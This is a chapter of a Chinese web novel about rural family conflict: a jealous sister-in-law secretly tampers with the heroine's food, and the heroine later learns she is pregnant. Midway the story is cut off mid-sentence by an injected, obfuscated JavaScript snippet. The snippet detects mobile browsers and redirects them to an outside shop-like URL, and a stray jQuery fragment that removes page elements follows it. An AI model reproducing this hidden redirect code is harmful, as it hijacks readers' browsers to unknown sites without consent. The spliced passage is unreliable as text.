月牙嫂子家在村头,老李家在村尾,一来一回,纵使她脚快,也要到天黑。
幸好她已经揉好了面,不用担心来不及做饭。
可等那一锅热气腾腾的馒头揭了盖,小草整个人都僵住了。
那馒头不是白净的,竟然泛着一层触目惊心的暗黄,有的地方甚至红得发紫。
那应是碱放得极重才会有的颜色。
“这……怎么会这样?”小草喃喃自语,手颤抖着拿起一个。
婆婆李老太闻声走过来,瞧着那一屉毁了的白面馒头,眉头拧成了一个疙瘩。
她没说话,粮食被糟蹋,她自然是不满的,但看了看小草惊愕的脸,她也不好多说什么。
只是奇怪,小草从前在家做饭,嫁了人也在老李家做了快一年的饭,怎么会连放碱都放错?
更何况这馒头,又黄又紫的,看着不像只是放多了碱。
李老太浑浊的眼球里没有半点温情,倒像是冬日里结了厚冰的深潭,冷硬且能照见一切腌臜。
她的余光极快地扫向了正靠在西屋门框上剥指甲的喜凤。
喜凤正装作浑不吝地撕着指甲边的死皮,在那道视线触碰到她皮肤的一瞬间,她的手指猛地僵住了。
那一刻,喜凤只觉得脊背发凉,仿佛有一条冰冷的毒蛇顺着脚踝爬了上来,冷汗毫无预兆地从鬓角渗出。
她心里“咯噔”一声,原本满满当当的自鸣得意像是被扎了个窟窿的尿脬,滋滋地往外漏着虚气。
她为什么看她?她为什么那样看她?
她知道了?她怎么可能知道?
那药末子她明明搅得匀匀的……喜凤在心里疯狂地呐喊,可越是心虚,面上就越是要张牙舞爪。
为了掩盖那股快要没过头顶的恐慌,喜凤猛地抬头,故意发出一声尖锐而扭曲的笑,“哟,小草,你这是存心让我婆婆烧心呢?这么大碱味,是想药死谁呀?”
她的嗓门很大,大得震耳欲聋,可掩盖不住的是她那双拼命往下拉扯、不敢与婆婆对视的眼球。
李老太依旧没说话,只是冷冷地收回视线,抓起个发红的馒头就往嘴里送,被涩得直皱眉还要宽慰小草,“没事,硬实,吃了耐饿。”
田小草看着婆婆都吃了,自然也伸手去拿,自己咬下一个馒头,果然难吃得要吐。
可是庄稼人哪管这些,她拼命地吃着,生怕有一点儿浪费。
“坏了的东西,我才不吃呢。”喜凤瞥了眼那一屉子的红紫色馒头,冷“切”一声便离开了厨房。
见她离开,小草低着的头又垂了起来,她死死咬着唇,明明她只会做饭干活了,没想到有一天她居然会连这个都干不好。
一种无力的挫败感比任何辱骂都让她难受。
第二天清晨,空气里还带着冷雾。
小草重操旧业,在灶台前揉面。李老太悄无声息地走了进来,手里提着一盏昏暗的油灯。
“小草,放碱了吗?”老太太声音压得很低。
“还没,妈。”小草指了指手边的碱面坛子。
李老太没让小草动手,她自己走上前,伸手去够那个坛子。
就在那一瞬间,原本想进来偷看笑话的喜凤,在门帘掀开的一角对上了李老太的眼睛。
李老太的手并没有直接伸进坛子,而是指尖在坛沿残留的一抹粉末上轻轻一抹,放在鼻尖嗅了嗅,随即,她的目光像两道利刃,直接扎在了喜凤脸上。
没人说话。
灶房里死一般的寂静,只有柴火偶尔爆裂的噼啪声。
李老太就那样盯着喜凤,一言不发。喜凤心虚得像被当众扒了皮。
喜凤的脸色由红转青,又由青转白,喉咙里像塞了团湿棉花。她再也不敢多待一秒,扭头撞开门帘跑了出去。
那一整天,喜凤都像丢了魂。
她再胆大,也都只是胆子大,她可没厉害到杀人不眨眼,还能望着警察病态大笑的程度。
她趁着夜色,发了疯似地冲到地里,用手刨开湿冷的泥土。
她怀里那几包剩下的残药,此刻成了烫手的山芋。
“不能留……绝对不能留……”喜凤哆嗦着,把药粉连带纸包全埋进了深坑里。她死命地用脚踩着那块地,仿佛只要踩得够实,就能把她做过的那些腌臜事彻底埋进地狱。
生就生吧田小草,生了孩子才好,在这个破烂家,生了孩子才痛苦呢。
一个月后。
初冬的夜,寒气逼人。
小草病怏怏地蜷缩在被褥里,脸色青白得像是一张被雨水淋透的废纸。
她已经这样折腾大半个月了,吃什么吐什么,哪怕只是闻到灶房里那股子陈年的荤油味,胃里便翻江江倒海地折腾。
她心里怕极了,总觉得那是小旺死了,她娘对她的惩罚。
后半夜,柴扉“吱呀”一声,打破了死寂。来顺背着个鼓囊囊的工包,满头寒霜地闯了进来。
“妈!小草咋样了?”来顺连鞋都顾不得换,一进屋就扑到炕沿边,那双手在寒风里冻得像紫红的胡萝卜,颤抖着去摸小草的额头。
小草勉强睁开眼,还没开口说什么,嗓子眼儿就猛地一紧,一股子熟悉的酸水又涌了上来。
她像条缺水的鱼,伏在炕沿边剧烈地干呕起来,呕得眼角全是生理性的泪水,胸腔发出一阵阵令人心碎的空响。
“哎哟,我的儿啊!你怎么回来了!”李老太披着黑棉袄跟进来,瞧着这情形,眼圈儿当场就红了。
“妈,小草这到底是啥病啊?咋瘦成这副鬼样子了?”来顺眼里的泪珠子吧嗒吧嗒往下掉。
他是个实诚汉子,不懂得什么弯弯绕绕,只觉得自家媳妇这副模样,活脱脱像是戏里唱的那些“油尽灯枯”的苦命人。
“来顺……”小草缓过一口气,声音弱得像被风一吹就散的烟,她紧紧抓着来顺的手,眼里满是惊恐和凄凉,“我这肚子里疼得像有人在拧,怕是得了什么治不好的恶疾,要给李家留累赘了……”
“别胡说!别瞎想!”来顺嚎了一嗓子,声儿里带着哭腔,“你要是走了,我下半辈子跟谁过去?妈,咱明天就算砸锅卖铁,也要带小草去城里的大医院,哪怕是换血换命,我也得把她换回来!”
夫妻俩在炕头哭成一团,一个觉得死期将至,满心是对这苦难世间的万般不舍,一个觉得大祸临头,恨不得替对方受了这份罪。
这凄惨的氛围把李老太也带偏了,老太太抹着眼泪点头:“去,明天就去,咱李家不能没了这个媳妇。”
这一墙之隔的西屋,喜凤正睁着眼躺在炕上。
听着隔壁那惊天动地的哭喊声,听着来顺那傻子要把小草当绝症治的混账话,喜凤先是愣了一瞬,随即嘴角浮起一抹极冷的笑。
她是生过大龙的人,田小草这症状她怎么会不知道?
那种滋味她这辈子都忘不了。闻不得油烟,见不得荤腥,觉多身子沉,还有那种像是要把五脏六腑都吐出来的奇葩动静,活像是阎王爷招收的标志,其实只是怀孕了而已。
虽然怀孕也就是去鬼门关走一遭。
只不过,田小草竟然怀孕了?
这个念头在喜凤脑子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301542|198649||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里转了一圈,像是一块带刺的铁,磨得她心尖生疼。她下意识地攥紧了手里的被角,指甲深深陷进棉絮里。
嫉妒像是地沟里的潮虫,密密麻麻地爬满了她的心房。
在这个家,她喜凤之所以能横行霸道,不只是因为她这天生的脾气,还仗着她是唯一给李家续了香火的女人。
如果小草这个圣人再有了孩子,那这李家大宅里,哪里还有她喜凤的一席之地?到时候婆婆的偏心、来顺的感激、甚至全村人的高看,都会像潮水一样涌向那个窝囊废。
可嫉妒之余,喜凤心里又生出一股扭曲的、恶毒的快感。
她回想起自己怀大龙时的那些日子,男人不在身边,婆婆催着干活,到了生的时候,那简直是进了一趟鬼门关,疼得恨不得撞墙。
“生吧,怀吧,”喜凤盯着漆黑的房梁,无声地冷笑,“田小草,你以为那是福报?那是受罪的开始,我倒要看看你能不能熬过那一刀绞心的疼。”
“既然药都药不倒,老天非让你生孩子,那就让你在产床上领教领教,什么叫当女人的报应。”
她翻了个身,心里的七上八下终究化作了一抹阴毒的期盼。
她期盼着那个生命能把小草折磨得形销骨立,期盼着小草在往后的日子里,像她当年一样,在屎尿和啼哭中磨掉那一身清高的傲骨。
第二天清晨,老郎中进了门。
当那根枯瘦的手指搭在小草纤细的手腕上时,全家人都摒住了呼吸,空气粘稠得仿佛能滴下水来。
来顺紧紧盯着郎中的脸色,生怕从那几道皱纹里读出“无药可医”四个字。
“大夫,您直说吧,我撑得住。”来顺颤声说道。
老郎中收了手,先是看了一眼如临大敌的来顺,又看了一眼面如死灰的小草,突然哈哈大笑起来,拍着大腿喊道:“顺子啊顺子,你这哪里是请我来治病的,你是请我来报喜的呀!这脉象滑如滚珠,有力得很,你媳妇没得绝症,她是给你们李家添丁进口啦!”
“怀……怀了?”
在场的所有人都拍手叫好,开心得不得了。
除了田小草。
田小草整个人也像是被定住了一般,不知是该哭还是该笑。
那一瞬间,窗外初冬的暖阳刚好破开云层,洒在她的脸上。
她低下头,颤抖着手抚向那依旧平坦的小腹。一种从未有过的神奇感从指尖传导到灵魂深处。
她的肚子里竟然有一个生命?一个流淌着她血液的小东西,正悄悄地扎根在她的血肉里,吸吮着她的生机。
她突然觉得这个世界变得格外清晰,甚至能听到自己心跳的声音,咚、咚,和那个未知的生命共振。
那是感动。
这种被老天爷突然眷顾的巨大惊喜,让她瞬间泣不成声。
可感动之后,那股名为“恐惧”的阴云又迅速聚拢了过来。
她想起了喜凤早产的嘶吼,想起了村里那些因为难产而死掉的女人,想起了那座像是大山一样压在所有女人头上的“养育”重担。
她想要这个孩子吗?她能养好这个孩子吗?
小草的心里充满了焦虑。
在这个风雨飘摇的家里,在这个被喜凤盯着、被婆婆盼着的处境下,她这双只会割草揉面的手,真的能护住这个脆弱的小生命吗?
她看向来顺,来顺正像个傻子一样在院子里疯跑大喊。
可小草的眼神里,除了那抹初为人母的柔情,更多的却是一种深不见底的战栗。
她突然意识到,有一个孩子的所有所有要依靠她了。